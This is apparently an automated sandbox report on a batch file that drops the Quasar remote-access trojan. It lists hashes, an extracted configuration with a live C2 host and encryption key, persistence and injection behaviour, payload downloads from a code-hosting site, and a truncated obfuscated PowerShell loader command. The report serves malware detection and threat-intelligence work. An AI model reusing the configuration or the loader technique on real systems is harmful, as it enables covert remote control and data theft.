quasar | aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67

Analysis

max time kernel
288s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
12-05-2024 19:01

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General

Target

Fix.bat
Size

621B
MD5

e235e723f57a72ef725306c3e14d4726
SHA1

9b2153053f8e89c300e32da5df32e9b990594aac
SHA256

aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
SHA512

0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e

Score

10^/10

quasar rpad discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RPad

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-okPqrmZ8kNVUcS4Rp0

Attributes

encryption_key
XmcBnPuLlN1e8SHIRR1z
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe	family_quasar
behavioral1/memory/2516-53-0x0000000000860000-0x00000000008CC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 3736 created 584 3736 powershell.EXE winlogon.exe
PID 4348 created 584 4348 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5112 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exe

pid process

2516 BoostBot.exe
748 $sxr-powershell.exe
2852 install.exe
2432 install.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

2104 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

15 raw.githubusercontent.com
16 raw.githubusercontent.com
23 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com

description	pid	process	target process
PID 3736 created 584	3736	powershell.EXE	winlogon.exe
PID 4348 created 584	4348	powershell.EXE	winlogon.exe

pid	process
2516	BoostBot.exe
748	$sxr-powershell.exe
2852	install.exe
2432	install.exe

pid	process
2104	icacls.exe

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com
23	raw.githubusercontent.com

flow	ioc
10	ip-api.com

Drops file in System32 directory 17 IoCs

Processes:

svchost.exesvchost.exeOfficeClickToRun.exepowershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 3736 set thread context of 3904	3736	powershell.EXE	dllhost.exe
PID 4348 set thread context of 2204	4348	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

520 schtasks.exe
1212 SCHTASKS.exe
2096 schtasks.exe

pid	process
520	schtasks.exe
1212	SCHTASKS.exe
2096	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 12 May 2024 19:03:17 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715540596"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={453FD598-1DD2-478B-921B-7F687A46E64D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exepowershell.EXEdllhost.exe

pid	process
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
3736	powershell.EXE
3736	powershell.EXE
3736	powershell.EXE
3736	powershell.EXE
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
4348	powershell.EXE
4348	powershell.EXE
4348	powershell.EXE
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
3904	dllhost.exe
4348	powershell.EXE
3904	dllhost.exe
3904	dllhost.exe
4348	powershell.EXE
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe
2204	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEdllhost.exesvchost.exeExplorer.EXEsvchost.exe

description	pid	process
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	2516	BoostBot.exe
Token: SeDebugPrivilege	748	$sxr-powershell.exe
Token: SeDebugPrivilege	3736	powershell.EXE
Token: SeDebugPrivilege	3736	powershell.EXE
Token: SeDebugPrivilege	3904	dllhost.exe
Token: SeDebugPrivilege	4348	powershell.EXE
Token: SeDebugPrivilege	4348	powershell.EXE
Token: SeDebugPrivilege	2204	dllhost.exe
Token: SeAuditPrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	3288	Explorer.EXE
Token: SeCreatePagefilePrivilege	3288	Explorer.EXE
Token: SeShutdownPrivilege	3288	Explorer.EXE
Token: SeCreatePagefilePrivilege	3288	Explorer.EXE
Token: SeShutdownPrivilege	3288	Explorer.EXE
Token: SeCreatePagefilePrivilege	3288	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2480	svchost.exe
Token: SeIncreaseQuotaPrivilege	2480	svchost.exe
Token: SeSecurityPrivilege	2480	svchost.exe
Token: SeTakeOwnershipPrivilege	2480	svchost.exe
Token: SeLoadDriverPrivilege	2480	svchost.exe
Token: SeSystemtimePrivilege	2480	svchost.exe
Token: SeBackupPrivilege	2480	svchost.exe
Token: SeRestorePrivilege	2480	svchost.exe
Token: SeShutdownPrivilege	2480	svchost.exe
Token: SeSystemEnvironmentPrivilege	2480	svchost.exe
Token: SeUndockPrivilege	2480	svchost.exe
Token: SeManageVolumePrivilege	2480	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2480	svchost.exe
Token: SeIncreaseQuotaPrivilege	2480	svchost.exe
Token: SeSecurityPrivilege	2480	svchost.exe
Token: SeTakeOwnershipPrivilege	2480	svchost.exe
Token: SeLoadDriverPrivilege	2480	svchost.exe
Token: SeSystemtimePrivilege	2480	svchost.exe
Token: SeBackupPrivilege	2480	svchost.exe
Token: SeRestorePrivilege	2480	svchost.exe
Token: SeShutdownPrivilege	2480	svchost.exe
Token: SeSystemEnvironmentPrivilege	2480	svchost.exe
Token: SeUndockPrivilege	2480	svchost.exe
Token: SeManageVolumePrivilege	2480	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2480	svchost.exe
Token: SeIncreaseQuotaPrivilege	2480	svchost.exe
Token: SeSecurityPrivilege	2480	svchost.exe
Token: SeTakeOwnershipPrivilege	2480	svchost.exe
Token: SeLoadDriverPrivilege	2480	svchost.exe
Token: SeSystemtimePrivilege	2480	svchost.exe
Token: SeBackupPrivilege	2480	svchost.exe
Token: SeRestorePrivilege	2480	svchost.exe
Token: SeShutdownPrivilege	2480	svchost.exe
Token: SeSystemEnvironmentPrivilege	2480	svchost.exe
Token: SeUndockPrivilege	2480	svchost.exe
Token: SeManageVolumePrivilege	2480	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2480	svchost.exe
Token: SeIncreaseQuotaPrivilege	2480	svchost.exe
Token: SeSecurityPrivilege	2480	svchost.exe
Token: SeTakeOwnershipPrivilege	2480	svchost.exe
Token: SeLoadDriverPrivilege	2480	svchost.exe
Token: SeSystemtimePrivilege	2480	svchost.exe
Token: SeBackupPrivilege	2480	svchost.exe
Token: SeRestorePrivilege	2480	svchost.exe
Token: SeShutdownPrivilege	2480	svchost.exe
Token: SeSystemEnvironmentPrivilege	2480	svchost.exe
Token: SeUndockPrivilege	2480	svchost.exe
Token: SeManageVolumePrivilege	2480	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

748 $sxr-powershell.exe

pid	process
748	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 788 wrote to memory of 1816	788	cmd.exe	certutil.exe
PID 788 wrote to memory of 1816	788	cmd.exe	certutil.exe
PID 788 wrote to memory of 5112	788	cmd.exe	powershell.exe
PID 788 wrote to memory of 5112	788	cmd.exe	powershell.exe
PID 5112 wrote to memory of 2516	5112	powershell.exe	BoostBot.exe
PID 5112 wrote to memory of 2516	5112	powershell.exe	BoostBot.exe
PID 5112 wrote to memory of 2516	5112	powershell.exe	BoostBot.exe
PID 788 wrote to memory of 2104	788	cmd.exe	icacls.exe
PID 788 wrote to memory of 2104	788	cmd.exe	icacls.exe
PID 788 wrote to memory of 3076	788	cmd.exe	reg.exe
PID 788 wrote to memory of 3076	788	cmd.exe	reg.exe
PID 788 wrote to memory of 2188	788	cmd.exe	attrib.exe
PID 788 wrote to memory of 2188	788	cmd.exe	attrib.exe
PID 2516 wrote to memory of 520	2516	BoostBot.exe	schtasks.exe
PID 2516 wrote to memory of 520	2516	BoostBot.exe	schtasks.exe
PID 2516 wrote to memory of 520	2516	BoostBot.exe	schtasks.exe
PID 2516 wrote to memory of 748	2516	BoostBot.exe	$sxr-powershell.exe
PID 2516 wrote to memory of 748	2516	BoostBot.exe	$sxr-powershell.exe
PID 2516 wrote to memory of 748	2516	BoostBot.exe	$sxr-powershell.exe
PID 2516 wrote to memory of 2852	2516	BoostBot.exe	install.exe
PID 2516 wrote to memory of 2852	2516	BoostBot.exe	install.exe
PID 2516 wrote to memory of 2852	2516	BoostBot.exe	install.exe
PID 2516 wrote to memory of 1212	2516	BoostBot.exe	SCHTASKS.exe
PID 2516 wrote to memory of 1212	2516	BoostBot.exe	SCHTASKS.exe
PID 2516 wrote to memory of 1212	2516	BoostBot.exe	SCHTASKS.exe
PID 748 wrote to memory of 2096	748	$sxr-powershell.exe	schtasks.exe
PID 748 wrote to memory of 2096	748	$sxr-powershell.exe	schtasks.exe
PID 748 wrote to memory of 2096	748	$sxr-powershell.exe	schtasks.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3736 wrote to memory of 3904	3736	powershell.EXE	dllhost.exe
PID 3904 wrote to memory of 584	3904	dllhost.exe	winlogon.exe
PID 3904 wrote to memory of 636	3904	dllhost.exe	lsass.exe
PID 3904 wrote to memory of 740	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 900	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 992	3904	dllhost.exe	dwm.exe
PID 3904 wrote to memory of 360	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 404	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1028	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1068	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1076	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1172	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1204	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1300	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1308	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1324	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1444	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1476	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1484	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1540	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1560	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1672	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1772	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1784	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1800	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1824	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 1936	3904	dllhost.exe	svchost.exe
PID 3904 wrote to memory of 2012	3904	dllhost.exe	spoolsv.exe
PID 3904 wrote to memory of 1864	3904	dllhost.exe	svchost.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2188 attrib.exe

pid	process
2188	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:992

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0c353467-178a-4639-a7e4-d7449f47e637}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{fc9e926c-4363-4f2c-bb55-d256de6fd151}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1028

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:1068

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1076

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WwLRZjDrFiSQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gfKqMnlRVnsnhc,[Parameter(Position=1)][Type]$QcHCclvqXC)$scaySfhzHYm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+'t'+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'em'+'o'+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+'p'+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+'o'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$scaySfhzHYm.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'pec'+'i'+''+[Char](97)+'lN'+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+'y'+''+[Char](83)+'ig,Pu'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gfKqMnlRVnsnhc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');$scaySfhzHYm.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+'b'+'l'+''+'i'+'c,H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'Si'+[Char]